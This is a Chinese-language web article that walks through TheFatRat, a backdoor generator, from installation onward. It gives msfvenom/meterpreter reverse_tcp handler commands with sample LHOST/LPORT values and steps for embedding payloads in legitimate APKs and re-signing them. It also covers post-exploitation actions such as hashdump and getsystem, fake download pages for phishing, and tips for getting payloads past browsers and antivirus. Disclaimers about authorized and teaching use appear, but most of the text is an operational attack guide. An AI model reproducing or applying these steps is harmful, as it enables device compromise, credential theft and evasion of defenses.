ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

TheFatRat 后门生成与浏览器攻击实战:从安装到上线的完整指南

TheFatRat 后门生成与浏览器攻击实战:从安装到上线的完整指南 简介Thefatrat 是一款面向渗透测试学习者与安全研究人员的开源漏洞利用与后门生成工具本资源为其完整打包版本可帮助使用者在授权测试环境中快速生成后门载荷、发起浏览器类攻击并完成基础免杀处理适合具备一定 Linux 与网络安全基础的中高级读者。压缩包共 255 个文件约 126.48MB文件类型丰富85 个 h 头文件与 30 个 so 动态库构成底层依赖14 个 jar 与 4 个 py 脚本支撑核心逻辑另有 apk、sh、rsh、md 等文件分别对应安卓载荷、执行脚本与说明文档并附带 aapt、apksigner、zipalign 等安卓打包签名工具链。目前已有 122 人学习下载。通过该资源读者可获取完整的工具目录结构、后门生成与攻击模块脚本、安卓载荷构建组件及配套说明便于在实验环境中理解漏洞利用流程、复现攻击链路并积累排错经验。1. 从 TheFatRat 说起一个把后门生成和浏览器攻击打包的工具到底解决什么问题很多人第一次听到 TheFatRat是在搜索“漏洞利用工具”“后门生成”“浏览器攻击”这类关键词的时候。它本质上是一个把多种 payload 生成、后门封装和浏览器端攻击整合到一起的自动化框架最早在 Kali 这类渗透测试发行版里被广泛讨论。它的价值不在于发明了某种新漏洞而在于把原本需要手动拼装的 msfvenom 命令、监听配置、诱饵文件生成、Office 宏嵌入、浏览器攻击页面托管等步骤收敛成一套菜单式交互流程。对于做红队演练、内网渗透测试、安全教学的人来说这意味着从“记一堆参数”变成“按菜单选”上手门槛被大幅拉低。但也要说清楚它生成的东西能不能用、会不会被查杀、浏览器攻击在当前浏览器版本下还有没有效果取决于目标环境和你的配置不是工具本身能保证的。这一章先把它的定位、适用人群和边界讲清楚后面再拆具体怎么做。TheFatRat 主要面向三类人一是刚接触渗透测试、想理解后门从生成到上线完整链路的新手二是需要快速做演示、做教学案例的安全讲师三是在授权范围内做内网横向、需要批量生成诱饵文件的红队成员。它不适合拿来做未授权攻击也不适合指望它“一键拿下”现代浏览器。它的核心模块大致分三块payload 生成调用 msfvenom 或内置模板、后门封装把 payload 嵌入 apk、doc、pdf、exe 等载体、浏览器攻击托管一个伪造页面诱导目标下载或触发漏洞。理解这三块后面的操作就不会迷路。2. TheFatRat 的安装与最小可用环境依赖、权限和第一次跑通2.1 为什么推荐在 Kali 或独立虚拟机里装TheFatRat 的官方安装方式通常是 git clone 后执行 setup.sh它会自动拉取依赖、编译部分模块、配置 Metasploit 路径。这里第一个坑就是不要在主力工作机上直接跑。原因有两个一是它会修改系统里的部分配置和路径二是生成的 payload 默认会被本机杀软盯上轻则文件被删重则整个目录被隔离。我一般会在 VMware 或 VirtualBox 里开一个 Kali 滚动版快照打好再装。如果你用的是 Ubuntu需要先确认 Metasploit Framework 已经装好因为 TheFatRat 很多功能是直接调用 msfvenom 和 msfconsole 的没有 msf 它只能跑一部分浏览器攻击模块。安装前先确认几个基础依赖git、curl、wget、openjdkapk 封装需要、zipalign 和 apksignerAndroid 载体需要、mingw-w64Windows exe 交叉编译需要。这些在 Kali 里大部分预装Ubuntu 下要手动补。下面是最小安装流程。# 更新源并安装基础依赖Kali 下大部分已存在 sudo apt update sudo apt install -y git curl wget openjdk-11-jdk zipalign apksigner mingw-w64 # 克隆 TheFatRat 仓库路径按自己习惯放 git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat # 赋予执行权限并运行安装脚本 chmod x setup.sh sudo ./setup.sh安装脚本执行过程中会问你是否安装某些可选模块比如 backdoor-apk、pwnwind 等。第一次跑建议只装核心可选模块后面按需补因为有些模块年久失修编译会报错反而拖慢进度。安装完成后用./fatrat启动看到菜单就说明环境通了。参数说明setup.sh内部会检测msfvenom是否存在如果提示找不到先执行sudo apt install metasploit-framework。zipalign和apksigner在部分 Kali 版本里路径不在默认 PATH需要export PATH$PATH:/usr/lib/android-sdk/build-tools/debian这类调整具体路径用find / -name zipalign 2/dev/null查。2.2 第一次生成 payload 前必须确认的三件事第一确认监听 IP。TheFatRat 生成 payload 时会让你填 LHOST 和 LPORTLHOST 必须是你攻击机在目标能访问到的网段里的 IP不能填 127.0.0.1也不能填一个目标路由不到的地址。第二确认目标架构。Windows 目标选 x64 还是 x86Android 目标选 arm 还是 arm64选错生成的 payload 直接跑不起来。第三确认输出格式。是 raw、exe、apk 还是 elf取决于你打算怎么投递。这三件事没确认就点生成大概率得到一个废文件。我一般会先开一个终端跑ip a看清楚自己网卡地址再开另一个终端准备msfconsole做监听。TheFatRat 生成完会提示你用什么命令监听但那个提示有时和实际 payload 不匹配所以自己心里要有数msfvenom 生成的 payload 用msfconsole里对应的 handler 接不要混用。3. 用 TheFatRat 生成后门并上线从菜单选择到 msfconsole 接听3.1 菜单路径与 payload 类型选择启动./fatrat后主菜单里和“后门生成”相关的一般是第 1 项 Create Backdoor 或类似名称进去后会有子菜单让你选载体类型Android、Windows、Linux、Office 宏、PDF 等。这里以最常见的 Windows exe 和 Android apk 为例走一遍。选 Windows 后会让你选 payload 类型常见的有windows/meterpreter/reverse_tcp、windows/meterpreter/reverse_https。前者明文传输后者走 HTTPS 相对隐蔽但在内网里如果没证书流量特征依然明显。我一般演示用 reverse_tcp实战演练会考虑 reverse_https 并配合端口伪装。选完 payload 会让你填 LHOST、LPORT然后选择是否编码、是否捆绑到一个正常文件。编码这一步要谨慎老版本的 shikata_ga_nai 编码现在基本被主流杀软特征覆盖编了反而更容易被识别所以除非你有明确的自定义编码器否则跳过编码靠后续的载体伪装和免杀处理更实际。# 生成后 TheFatRat 会给出类似下面的监听命令提示 # 实际监听在另一个终端里手动执行不要直接复制它给的整段 msfconsole -q use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444 set ExitOnSession false exploit -j逻辑说明use exploit/multi/handler是通用监听模块set payload必须和生成时选的 payload 完全一致大小写和路径都不能错。ExitOnSession false让监听在目标掉线后继续等待exploit -j后台运行。参数说明LHOST 填你攻击机 IPLPORT 填生成时用的端口如果目标在 NAT 后面还需要在边界设备上做端口映射这一步不在工具范围内。3.2 Android apk 后门生成与签名Android 载体是 TheFatRat 比较常用的功能因为它能自动把 payload 嵌入一个正常 apk 并重新签名。流程是选 Android 载体填 LHOST/LPORT然后指定一个正常 apk 作为模板。工具会调用 msfvenom 生成 payload再用 backdoor-apk 或内置逻辑合并、对齐、签名。这里最常见的翻车点是签名失败原因通常是 apksigner 版本和 JDK 版本不匹配或者模板 apk 本身已经用了 v2 签名而工具只做了 v1。# 如果 TheFatRat 自动签名失败可以手动补签 # 先生成 keystore如果没有 keytool -genkey -v -keystore mykey.keystore -alias mykey -keyalg RSA -keysize 2048 -validity 10000 # 对齐 zipalign -v 4 input.apk aligned.apk # 签名注意 apksigner 路径 apksigner sign --ks mykey.keystore --ks-key-alias mykey --out signed.apk aligned.apk # 验证签名 apksigner verify signed.apk逻辑说明zipalign必须在签名前做顺序反了签名会失效。apksigner sign用 v1v2 签名兼容性最好。参数说明--ks指定 keystore 文件--ks-key-alias是别名--out是输出文件。验证通过后这个 apk 才能安装到目标 Android 设备上。注意 Android 8 以上对未知来源应用限制更严目标需要手动允许安装这也是为什么纯 apk 投递的成功率在下降。3.3 上线后的基础操作与 session 管理目标执行 payload 后msfconsole 里会出现 session。用sessions -l列出sessions -i 1进入。进去后先sysinfo看系统信息getuid看权限ps看进程。如果是普通用户权限可以尝试getsystem提权但成功率取决于目标补丁情况。hashdump抓哈希、screenshot截屏、shell进系统 shell 这些是常用操作。这里要提醒meterpreter 会话在目标重启或网络波动后会断ExitOnSession false只是让监听不退出不会自动重连需要目标再次执行 payload 或你有持久化手段。4. 浏览器攻击模块怎么用伪造页面、诱饵投递与效果边界4.1 浏览器攻击在 TheFatRat 里的实现方式TheFatRat 的浏览器攻击模块本质上是启动一个本地 Web 服务托管一个伪造的登录页或下载页诱导目标访问后下载 payload 或触发浏览器漏洞。它常见的做法是克隆一个页面把下载链接指向生成的 payload或者嵌入一个利用脚本。需要明确的是现代浏览器对自动下载、漏洞利用的防护已经非常强纯浏览器漏洞利用比如老的 CVE在更新过的 Chrome、Edge 上基本无效。所以这个模块现在更多是配合社会工程让目标主动下载并运行文件而不是指望浏览器自己被打穿。启动流程一般是主菜单选 Browser Attack 相关项选页面模板填 LHOST/LPORT工具会启动一个 HTTP 服务并给出一个 URL。你把 URL 发给目标目标打开后看到伪造页面点击下载下载到的就是你的 payload。这里的关键是 URL 的可信度用 IP 地址的 URL 很容易被识破所以常见做法是配合域名和 HTTPS但这又涉及证书问题不在工具自动处理范围内。4.2 页面托管与端口选择的具体参数# TheFatRat 浏览器攻击模块底层通常调用类似命令启动服务 # 这里用 python 起一个最简单的托管做对照理解原理 cd /root/TheFatRat/backdoor/pages python3 -m http.server 8080 --bind 0.0.0.0逻辑说明http.server把当前目录作为根目录托管--bind 0.0.0.0让外部可访问。TheFatRat 内部可能用 Apache 或它自带的脚本但原理一样。参数说明端口选 80 或 443 最不引起怀疑但需要 root 权限8080、8443 这类端口在目标眼里就是“可疑服务”。如果目标网络有出站限制还要考虑目标能不能访问到你的端口。我一般会先让目标访问一个正常页面测试连通性再发攻击页面。4.3 浏览器攻击的失效场景与替代思路失效场景一目标浏览器是最新版自动下载被拦截需要用户手动确认。失效场景二目标有终端防护下载的 exe 落地即被删。失效场景三目标网络有代理你的 IP 和端口被拦。遇到这些情况浏览器攻击模块基本就废了。替代思路是转向钓鱼邮件附件Office 宏、LNK、ISO、U 盘投放、或者利用目标已存在的 Web 漏洞比如 WebLogic 这类中间件漏洞先拿下一个跳板再在内网里横向。这也是为什么热搜里会出现“weblogic漏洞利用工具”这类词——单纯靠浏览器攻击拿边界越来越难从业者更多是在打中间件和对外服务。5. 避坑与排查TheFatRat 使用中最容易翻车的五个点5.1 生成成功但目标执行后无 session现象payload 在目标上运行了进程也起来了但 msfconsole 里就是没有 session。原因通常有三个LHOST 填错、目标到攻击机的端口不通、payload 类型和 handler 不匹配。排查顺序是先ping目标确认网络可达再用nc -zv 攻击机IP 端口测端口最后核对set payload是否和生成时完全一致。如果是跨网段检查中间防火墙是否放行。5.2 生成的 apk 安装失败或闪退现象apk 能装但打开就闪退或者直接提示“解析包错误”。原因是签名不完整、对齐没做、或者模板 apk 和目标 Android 版本不兼容。解决手动用zipalignapksigner重签确认apksigner verify通过换一个更简单的模板 apk在 Android 7 以下设备上测试排除版本问题。5.3 浏览器攻击页面能打开但下载被拦截现象目标打开页面点击下载浏览器提示“已阻止不安全的下载”。原因是 Chrome/Edge 对 HTTP 下载和 exe 文件有强制拦截。解决换 HTTPS需要证书、把 payload 打包成 zip 或 iso、或者改用 Office 宏文档。注意这些手段同样会被 SmartScreen 拦没有银弹。5.4 setup.sh 执行报错或卡在编译现象安装脚本跑到一半报错退出常见于 backdoor-apk 或某些依赖编译失败。原因是仓库年久失修部分依赖源失效。解决跳过可选模块只装核心手动apt install缺失的包如果某个模块一直失败直接注释掉 setup.sh 里对应行不影响主功能。5.5 生成的 payload 被目标杀软秒删现象文件刚落地就被删或者运行后立即被终止。原因是 msfvenom 默认 payload 特征太明显。解决不要用默认编码改用自定义 shellcode 加载器、分离加载、或者用 Cobalt Strike 这类商业工具的 artifact kit 做免杀。TheFatRat 本身不提供免杀能力指望它生成的文件过主流杀软是不现实的。6. 进阶把 TheFatRat 当教学脚手架而不是攻击终点TheFatRat 最大的价值其实不在“用”而在“学”。它把后门生成、载体封装、监听上线这条链路用菜单串起来让你能快速看到每一步的输入输出。我自己的习惯是用它跑通一遍流程后立刻回到命令行用 msfvenom 手动敲一遍同样的参数对比生成的文件差异。比如 TheFatRat 生成 apk 时到底调了哪些命令你可以在它执行时用ps aux或看它的日志文件抓到。抓到之后你就有了一个可复现的基线再在这个基线上做免杀、做持久化、做流量伪装。另一个进阶用法是把它当“靶场生成器”。在授权教学环境里用 TheFatRat 快速生成几个不同载体的 payload让学员练习从流量里识别、从主机上排查。比如对比 reverse_tcp 和 reverse_https 的流量特征对比编码和未编码文件的静态特征。这种用法比单纯“拿 shell”更有价值也更符合安全从业者的实际需求。验证方法上我一般会做三层检查第一层payload 生成后先在本地虚拟机里执行确认能上线排除生成环节的问题第二层在目标同网段的测试机上执行确认网络路径通第三层才在真实目标上投递。每一层都记录 LHOST、LPORT、payload 类型、目标系统版本出问题时能快速定位是哪一层断的。最后说一个我踩过的坑早期我图省事直接在物理机上装 TheFatRat结果生成的测试文件被本机杀软连带整个工具目录一起隔离恢复花了不少时间。从那以后所有这类工具我都只在快照虚拟机里跑生成的文件也只在隔离环境里测试。这个习惯帮我省了很多后悔药。希望帮到你。本文还有配套的精品资源点击获取
返回列表